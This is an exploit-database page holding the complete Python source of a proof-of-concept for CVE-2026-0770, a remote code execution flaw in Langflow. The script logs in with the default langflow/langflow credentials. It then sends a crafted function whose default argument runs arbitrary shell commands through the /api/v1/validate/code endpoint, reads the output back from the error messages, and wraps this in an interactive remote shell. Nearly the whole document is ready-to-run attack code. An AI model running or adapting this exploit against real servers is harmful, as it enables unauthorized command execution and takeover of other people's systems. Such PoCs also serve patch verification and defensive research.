Exploit database

GH-7905fb41dfd300af3d77fe4df8371189

0xgh057r3c0n/cve-2026-0770

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-0770

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
0xgh057r3c0n/cve-2026-0770Revision 91cb94c0080e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-0770.py

Python · 13,975 bytes
#!/usr/bin/env python3
"""
CVE-2026-0770 - Langflow exec_global RCE
Target: POST /api/v1/validate/code
Auth: Uses auto-login (AUTO_LOGIN=true is the default config)
Author: 0xgh057r3c0n
"""

import requests
import argparse
import sys
import os
import readline
import atexit
from colorama import init, Fore, Style
import time
import platform

# Initialize colorama for cross-platform colored output
init(autoreset=True)

# History file for command persistence
histfile = os.path.join(os.path.expanduser("~"), ".langflow_history")
try:
    readline.read_history_file(histfile)
    readline.set_history_length(1000)
except FileNotFoundError:
    pass
atexit.register(readline.write_history_file, histfile)

BANNER = fr"""{Fore.RED}
_____________   _______________         _______________   ________  ________         ________________________________   
\___ ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/  _____/         \   _  \______  \______  \   _  \  
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/   __  \   ______ /  /_\  \  /    /   /    /  /_\  \ 
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  |__\  \ /_____/ \  \_/   \/    /   /    /\  \_/   \
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \_____  /          \_____  /____/   /____/  \_____  /
        \/                  \/                  \/     \/         \/     \/                 \/                       \/ 
{Fore.CYAN}                                  Langflow RCE Exploit - CVE-2026-0770
                                         Author: 0xgh057r3c0n
{Style.RESET_ALL}"""

def print_status(message, status="info"):
    """Pretty print status messages"""
    prefix = {
        "info": f"{Fore.BLUE}[*]{Style.RESET_ALL}",
        "success": f"{Fore.GREEN}[+]{Style.RESET_ALL}",
        "error": f"{Fore.RED}[-]{Style.RESET_ALL}",
        "warning": f"{Fore.YELLOW}[!]{Style.RESET_ALL}"
    }.get(status, f"{Fore.BLUE}[*]{Style.RESET_ALL}")
    
    timestamp = f"{Fore.WHITE}[{time.strftime('%H:%M:%S')}]{Style.RESET_ALL}"
    print(f"{timestamp} {prefix} {message}")

def exploit(target_url: str, command: str, token: str = None, verbose: bool = False) -> dict:
    """
    Exploit RCE via /api/v1/validate/code endpoint.
    """
    # Clean up target URL
    target_url = target_url.rstrip('/')
    
    if verbose:
        print_status(f"Target: {target_url}", "info")
        print_status(f"Command: {command}", "info")
    
    if not token:
        print_status("Attempting auto-login with default credentials...", "info")
        try:
            login_data = {"username": "langflow", "password": "langflow"}
                
            resp = requests.post(
                f"{target_url}/api/v1/login",
                data=login_data,
                timeout=10
            )
            
            if resp.ok:
                token = resp.json().get("access_token")
                print_status("Auto-login successful!", "success")
                if verbose:
                    print_status(f"Token acquired", "info")
            else:
                print_status(f"Auto-login failed: HTTP {resp.status_code}", "error")
                if verbose:
                    print_status(f"Response: {resp.text}", "error")
                    
        except requests.exceptions.ConnectionError:
            print_status(f"Failed to connect to {target_url}", "error")
            sys.exit(1)
        except Exception as e:
            print_status(f"Auto-login error: {e}", "error")
            if not verbose:
                print_status("Try with --verbose for more details", "warning")

    # Payload: Default arg executes at definition time
    # Generator throw() raises exception with command output
    payload = f'''
def exploit(
    _=( lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\\n{{r.stdout}}{{r.stderr}}")) )(
        __import__('subprocess').run({repr(command)}, shell=True, capture_output=True, text=True)
    )
):
    pass
'''

    if verbose:
        print_status(f"Payload size: {len(payload)} bytes", "info")

    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    print_status("Sending exploit payload...", "info")
    
    try:
        resp = requests.post(
            f"{target_url}/api/v1/validate/code",
            json={"code": payload},
            headers=headers,
            timeout=30
        )
        
        result = {"status": resp.status_code, "response": resp.json() if resp.status_code != 200 else resp.text}
        
        if verbose:
            print_status(f"Response status: {resp.status_code}", "info")
            if resp.status_code != 200:
                print_status(f"Error response received", "warning")
                
        return result
        
    except requests.exceptions.Timeout:
        print_status("Request timed out", "error")
        sys.exit(1)
    except Exception as e:
        print_status(f"Request error: {e}", "error")
        sys.exit(1)


def parse_output(result: dict) -> str:
    """Extract command output from error response."""
    try:
        if result['status'] == 200:
            return f"{Fore.YELLOW}[!] Unexpected success response (command may not have executed){Style.RESET_ALL}"
        
        # Try to extract from JSON response
        if isinstance(result['response'], dict):
            errors = result.get("response", {}).get("function", {}).get("errors", [])
            for err in errors:
                if "OUTPUT:" in err:
                    output = err.split("OUTPUT:", 1)[1].strip()
                    return output
        
        # Try to extract from text response
        elif isinstance(result['response'], str):
            if "OUTPUT:" in result['response']:
                output = result['response'].split("OUTPUT:", 1)[1].strip()
                # Clean up any extra formatting
                output = output.replace('\\n', '\n').replace('\\t', '\t')
                return output
        
        return f"{Fore.YELLOW}[!] No command output found in response{Style.RESET_ALL}"
        
    except Exception as e:
        return f"{Fore.RED}[!] Error parsing output: {e}{Style.RESET_ALL}"


def interactive_shell(target_url: str, token: str = None, verbose: bool = False):
    """Interactive shell mode with custom prompt"""
    print_status("Interactive shell mode activated", "success")
    print_status("Type 'help' for available commands", "info")
    print_status("Commands are executed on the target machine", "warning")
    
    # Custom prompt with your name and author handle
    username = "gaurav"
    author = "0xgh057r3c0n"
    
    # Command history
    command_history = []
    
    while True:
        try:
            # Create the custom prompt: ┌─[gaurav@0xgh057r3c0n]─[~]
            #                           └──╼ $
            prompt_line1 = f"{Fore.YELLOW}┌─[{Fore.GREEN}{username}{Fore.YELLOW}@{Fore.CYAN}{author}{Fore.YELLOW}]─[~]{Style.RESET_ALL}"
            prompt_line2 = f"{Fore.YELLOW}└──╼ $ {Style.RESET_ALL}"
            
            # Print the first line (static)
            if len(command_history) == 0:
                print(prompt_line1)
            
            # Get command with the second line as prompt
            cmd = input(prompt_line2).strip()
            
            if not cmd:
                continue
                
            # Handle special commands
            if cmd.lower() == 'exit' or cmd.lower() == 'quit':
                print_status("Exiting interactive shell", "info")
                break
                
            elif cmd.lower() == 'clear':
                os.system('cls' if platform.system() == 'Windows' else 'clear')
                print(BANNER)
                print(prompt_line1)
                continue
                
            elif cmd.lower() == 'help':
                print(f"""
{Fore.CYAN}Available commands:{Style.RESET_ALL}
  {Fore.GREEN}<command>{Style.RESET_ALL}         - Execute any system command on target
  {Fore.YELLOW}exit/quit{Style.RESET_ALL}        - Exit interactive shell
  {Fore.YELLOW}clear{Style.RESET_ALL}            - Clear screen
  {Fore.YELLOW}history{Style.RESET_ALL}          - Show command history
  {Fore.YELLOW}reconnect{Style.RESET_ALL}        - Re-authenticate and get new token
  {Fore.YELLOW}info{Style.RESET_ALL}             - Show target information
  {Fore.YELLOW}help{Style.RESET_ALL}             - Show this help message
                """)
                print(prompt_line1)  # Reprint the prompt line
                continue
                
            elif cmd.lower() == 'history':
                for i, hist_cmd in enumerate(command_history[-20:], 1):
                    print(f"{Fore.CYAN}{i:3d}{Style.RESET_ALL}  {hist_cmd}")
                print(prompt_line1)
                continue
                
            elif cmd.lower() == 'reconnect':
                print_status("Reconnecting...", "info")
                token = None
                result = exploit(target_url, "echo 'Reconnected'", token, verbose)
                if result['status'] != 200:
                    output = parse_output(result)
                    if "OUTPUT" not in output:
                        print_status("Reconnection failed", "error")
                    else:
                        print_status("Reconnected successfully", "success")
                print(prompt_line1)
                continue
                
            elif cmd.lower() == 'info':
                print(f"""
{Fore.CYAN}Target Information:{Style.RESET_ALL}
  {Fore.GREEN}URL:{Style.RESET_ALL}     {target_url}
  {Fore.GREEN}Token:{Style.RESET_ALL}   {'[SET]' if token else '[NOT SET]'}
  {Fore.GREEN}Auth:{Style.RESET_ALL}    {'Token Auth' if token else 'Auto-login'}
                """)
                print(prompt_line1)
                continue
            
            # Add to history
            command_history.append(cmd)
            
            # Execute command
            result = exploit(target_url, cmd, token, verbose)
            
            if result['status'] != 200:
                output = parse_output(result)
                if output and "No command output" not in output:
                    print(f"\n{Fore.WHITE}{output}{Style.RESET_ALL}\n")
                else:
                    print_status("Command executed but no output returned", "warning")
            else:
                print_status("Unexpected success response", "warning")
                print(f"Response: {result['response']}")
            
            # Reprint the prompt line after command output
            print(prompt_line1)
            
        except KeyboardInterrupt:
            print(f"\n{Fore.YELLOW}Use 'exit' to quit{Style.RESET_ALL}")
            print(prompt_line1)
            continue
        except EOFError:
            print(f"\n{Fore.YELLOW}Exiting...{Style.RESET_ALL}")
            break
        except Exception as e:
            print_status(f"Error: {e}", "error")
            print(prompt_line1)
            if verbose:
                import traceback
                traceback.print_exc()


if __name__ == "__main__":
    # Show banner
    print(BANNER)
    
    parser = argparse.ArgumentParser(description="Langflow RCE PoC - CVE-2026-0770", 
                                     formatter_class=argparse.RawDescriptionHelpFormatter,
                                     epilog=f"""
{Fore.CYAN}Examples:{Style.RESET_ALL}
  {Fore.GREEN}Interactive shell:{Style.RESET_ALL}
    python3 {sys.argv[0]} -t http://localhost:7860
    
  {Fore.GREEN}Single command:{Style.RESET_ALL}
    python3 {sys.argv[0]} -t http://localhost:7860 -c "id"
    
  {Fore.GREEN}Verbose mode:{Style.RESET_ALL}
    python3 {sys.argv[0]} -t http://localhost:7860 -c "ls -la" -v
    
  {Fore.GREEN}With custom token:{Style.RESET_ALL}
    python3 {sys.argv[0]} -t http://localhost:7860 -k "your.jwt.token"
                    """)
    
    parser.add_argument("-t", "--target", required=True, 
                       help="Target URL (e.g., http://localhost:7860)")
    parser.add_argument("-c", "--command", 
                       help="Command to execute (omit for interactive shell)")
    parser.add_argument("-k", "--token", 
                       help="JWT token (optional, uses auto-login by default)")
    parser.add_argument("-v", "--verbose", action="store_true",
                       help="Verbose output")
    parser.add_argument("--no-banner", action="store_true",
                       help="Don't show banner")

    args = parser.parse_args()

    if args.no_banner:
        os.system('cls' if platform.system() == 'Windows' else 'clear')
        print(BANNER)  # Still show banner if they want it

    # Check if target is reachable
    try:
        print_status("Checking target connectivity...", "info")
        requests.get(args.target.rstrip('/'), timeout=5)
        print_status("Target is reachable", "success")
    except:
        print_status("Target may be unreachable, but continuing anyway...", "warning")

    if args.command:
        # Single command mode
        print_status(f"Executing: {args.command}", "info")
        result = exploit(args.target, args.command, args.token, args.verbose)
        
        if result['status'] != 200:
            output = parse_output(result)
            if output and "No command output" not in output:
                print(f"\n{Fore.CYAN}Command Output:{Style.RESET_ALL}")
                print(f"{Fore.WHITE}{output}{Style.RESET_ALL}\n")
            else:
                print_status("Command executed but no output returned", "warning")
        else:
            print_status("Unexpected success response", "warning")
            print(f"Response: {result['response']}")
    else:
        # Interactive shell mode with custom prompt
        interactive_shell(args.target, args.token, args.verbose)